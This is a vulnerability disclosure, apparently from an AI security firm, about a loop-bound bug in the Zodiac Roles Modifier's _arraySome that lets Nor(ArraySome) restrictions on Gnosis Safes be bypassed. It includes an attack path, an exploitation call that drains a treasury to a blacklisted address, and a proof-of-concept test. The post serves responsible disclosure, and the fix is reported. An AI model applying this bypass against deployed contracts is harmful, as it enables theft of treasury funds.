Deep in the blockchain slave mines our highly experienced bug hunters toil away in silence … thinking about new targets to feed our powerful (but humble) Grego AI automated bug hunting system.
We pulled back the underlayer of @safe , the most popular multisig wallet used on-chain today, and discovered a critical bug in a widely used @zodiaceco module.
These modules are used by Safe owners to expand the functionality of a Safe, but these also have full access to execute transactions, send funds, etc. so great care must be given to ensure these modules are bug free. The vulnerable module had been live on-chain for many years under the assumption everything was secure.
After checking the chain we found that the edge case had not been triggered, yet the vulnerable SDK action-path was just waiting for the right configuration to trigger it.
This finding was in @gnosisguild repo:
https://github.com/gnosisguild/zodiac-modifier-roles
Team has acknowledged and fixed below, stating that “No existing users are affected. We have disabled the faulty array condition operator to protect future users.”:
https://github.com/gnosisguild/zodiac-modifier-roles/pull/446
If you would like to engage our AI security services for your protocol contact @0xriptide or @0xitsgreg to discuss …
Bug report follows …
Summary
The _arraySome function in PermissionChecker.sol uses condition.children.length (always 1 for ArraySome nodes) as its loop bound instead of payload.children.length (the actual number of array elements), causing it to only ever evaluate the first element of any array. When an ArraySome condition is nested inside a NOR operator — the SDK-provided pattern for expressing “the array must not contain forbidden values” — this false negative is inverted into a permission bypass. An enabled module can execute transactions containing forbidden array values through the Safe by placing them at any index other than zero, enabling repeated unauthorized fund extraction.
Affected Code
- Contract: PermissionChecker.sol — function _arraySome
- Repository: gnosisguild/zodiac-modifier-roles (packages/evm/contracts)
- Version: v2.1.0 (current main branch as of Feb 2026)
- Deployed on: Ethereum, Arbitrum, Base, Optimism, Gnosis, Polygon, Avalanche, BSC, Celo, and 8+ additional chains
The Bug
The bug is visible by direct comparison of two sibling functions. In _arraySome, the loop bound is taken from the condition tree:
// _arraySome — BUGGY
uint256 length = condition.children.length; // always 1
for (uint256 i; i < length; ) {
(status, result) = _walk(
data, condition.children[0], payload.children[i], ...
);
While the correctly implemented _arrayEvery uses the payload’s actual element count:
// _arrayEvery — CORRECT
for (uint256 i; i < payload.children.length; ) { // actual array size
(status, result) = _walk(
data, condition.children[0], payload.children[i], ...
);
condition.children.length is unconditionally 1 for ArraySome because Integrity.enforce rejects any other value during configuration:
// Integrity.sol
if (
(condition.operator == Operator.ArraySome ||
condition.operator == Operator.ArrayEvery) &&
childBounds.length != 1
) { revert UnsuitableChildCount(i); }
And _conditionTree in PermissionLoader.sol faithfully reconstructs the tree with this length:
// PermissionLoader.sol
uint256 length = childrenBounds[index].length;
treeNode.children = new Condition[](length);
Meanwhile, AbiDecoder.inspect builds the payload tree from actual calldata, where the element count is read from the ABI-encoded length prefix:
// AbiDecoder.sol
} else if (_type == AbiType.Array) {
__block__(data, location + 32, typeTree, index,
uint256(word(data, location)), result); // actual array length from calldata
Result: The loop in _arraySome runs exactly once, checking only payload.children[0]. All elements at indices 1 through N-1 are never evaluated.
How the Bypass Works
When ArraySome is nested inside a NOR operator, the false negative is inverted into a false positive:
- _arraySome checks only element 0 (innocent), misses the forbidden value at index 1+, returns NoArrayElementPasses
- _nor sees a non-Ok status from its child, interprets it as “the restriction was not triggered”
- _nor returns Status.Ok — the constraint is bypassed
- The Safe executes the transaction containing the forbidden value with its full authority
The _nor function:
function _nor(...) private view returns (Status status, Result memory) {
for (uint256 i; i < condition.children.length; ) {
(status, ) = _walk(data, condition.children[i], payload, context);
if (status == Status.Ok) {
return (Status.NorViolation, ...); // child passed → NOR fails
}
unchecked { ++i; }
}
return (Status.Ok, ...); // all children failed → NOR passes
}
Attack Path
- Admin configures a role using scopeFunction with condition tree: Matches(Calldata) → Nor(None) → ArraySome(Array) → EqualTo(Static, forbiddenValue) on an array parameter, expressing “the array must not contain forbiddenValue.” Integrity.enforce validates the tree successfully.
- Enabled module calls Roles.execTransactionFromModule(target, 0, calldata, 0) where calldata encodes a function with array parameter [innocentValue, forbiddenValue] — the forbidden value at index 1.
- _authorize loads the condition tree: ArraySome node has condition.children.length = 1. AbiDecoder.inspect builds the payload tree with payload.children.length = 2.
- _arraySome loops once (length = 1), checks only element 0 (innocentValue) against the pattern — no match. Returns NoArrayElementPasses. Element 1 (forbiddenValue) is never checked.
- _nor sees non-Ok status, returns Ok. The constraint is bypassed.
- The Safe executes the forbidden transaction with its full authority and token balances.
- The module repeats, each transaction independently triggering the same bug.
Exploitation Scenario
A DAO treasury is held in a Gnosis Safe. Operator EOAs are assigned roles through the Roles Mod to execute routine batch payments via a batch transfer contract. The role is constrained with Nor(ArraySome(EqualTo(blacklistedAddress))) to prevent the operator from sending funds to blacklisted addresses.
The operator exploits the bug:
roles.execTransactionFromModule(
batchTransferContract,
0,
abi.encodeWithSelector(
batchTransfer.selector,
[legitimateRecipient, BLACKLISTED_ADDRESS], // forbidden at index 1
[1 ether, 500 ether]
),
0
);
The Roles Mod checks only recipients[0] (legitimate), never examines recipients[1] (blacklisted). NOR inverts the false negative. The Safe sends 500 ETH to the blacklisted address. The operator repeats until the treasury is drained.
This requires no privilege escalation. The operator EOA was legitimately assigned a role — the Roles Mod was specifically designed to constrain them. They only call public functions they’re already authorized to use, and they control the calldata array ordering by design.
On-Chain Analysis
We performed an exhaustive on-chain scan across Ethereum, Arbitrum, Optimism, Base, Gnosis, and Polygon using the ScopeFunction event (topic 0x4f6c340456f64db31a3d003c1224ba1de058557b1cdf71f21ae48ce4a4f64f52).

The vulnerable code path has never been exercised in production. Neither ArraySome nor Nor has ever been deployed in any condition tree across 87,548 configurations on 6 major chains. The bug is latent — the broken code is deployed on 17+ chains, the SDK exports the vulnerable composition, but no one has configured it yet.
We also examined the largest known Roles Mod deployment — @kpk_io ’s instance at 0x703806E61847984346d2D7DDd853049627e50A40 managing 144 Safes — and confirmed it uses only EqualTo, Matches, Pass, Or, EqualToAvatar, and ArrayEvery (which is correctly implemented). Zero ArraySome or Nor usage.
Why It Hasn’t Been Triggered Yet
- Pre-built allow kits dominate: Most Roles Mod users apply pre-built SDK allow kits for specific DeFi protocols. No current kit uses c.nor(c.some(…)).
- Array conditions are advanced: Most conditions operate on scalar parameters (EqualTo, Or, GreaterThan). Array-level constraints like “must not contain X” require deliberately composing logical and array operators.
- The simpler operators suffice: Common restrictions (allowed token addresses, function selectors, recipient addresses) are expressed as scalar EqualTo or Or conditions, not array-level conditions.
Real-World Exploitation Vector: The Allow Kit Supply Chain
The most probable path to real-world exploitation is through the SDK’s allow kit system (https://github.com/gnosisguild/zodiac-modifier-roles/tree/main/packages/sdk). Allow kits are community-contributed TypeScript modules that generate condition trees for specific DeFi protocols:
import { allow } from "zodiac-roles-sdk/kit"
allow.curve.stETH_ETH_gauge["claim_rewards(address)"](c.avatar)
The moment a kit author contributes a kit for a protocol with array parameters — batch swap routers, multicall targets, token transfer lists — the natural expression for “must not contain forbidden value X in the array” is:
c.nor(c.some(c.eq(BLACKLISTED_ADDRESS)))
This would:
- Pass all static validation (Integrity.enforce)
- Render correctly in the frontend UI (Nor shows as “Not”, ArraySome shows as “has at least one element that”)
- Silently produce a broken restriction at runtime
- Affect every Safe that applies the kit
No test would catch it unless someone specifically tested match-at-index > 0.
Proof of Concept
// Added to https://github.com/gnosisguild/zodiac-modifier-roles/blob/main/packages/evm/test/operators/06ArraySome.spec.ts:
it("test_POC_ArraySomeNorBypass", async () => {
const { roles, invoke, scopeFunction } = await loadFixture(
setupOneParamArrayOfStatic,
);
const FORBIDDEN_VALUE = 666;
// Condition: Nor(ArraySome(EqualTo(666))) — "array must NOT contain 666"
await scopeFunction([
{ parent: 0, paramType: AbiType.Calldata, operator: Operator.Matches, compValue: "0x" },
{ parent: 0, paramType: AbiType.None, operator: Operator.Nor, compValue: "0x" },
{ parent: 1, paramType: AbiType.Array, operator: Operator.ArraySome, compValue: "0x" },
{ parent: 2, paramType: AbiType.Static, operator: Operator.EqualTo,
compValue: defaultAbiCoder.encode(["uint256"], [FORBIDDEN_VALUE]) },
]);
// Forbidden value at index 0 — correctly blocked
await expect(invoke([FORBIDDEN_VALUE]))
.to.be.revertedWithCustomError(roles, "ConditionViolation")
.withArgs(PermissionCheckerStatus.NorViolation, BYTES32_ZERO);
// Innocent value — correctly allowed
await expect(invoke([999])).to.not.be.reverted;
// BUG: forbidden value at index 1 bypasses the NOR constraint
await expect(invoke([999, FORBIDDEN_VALUE])).to.not.be.reverted;
// BUG: forbidden value at index 2 also bypasses
await expect(invoke([111, 222, FORBIDDEN_VALUE])).to.not.be.reverted;
});
Grego AI: “the security layer that never sleeps”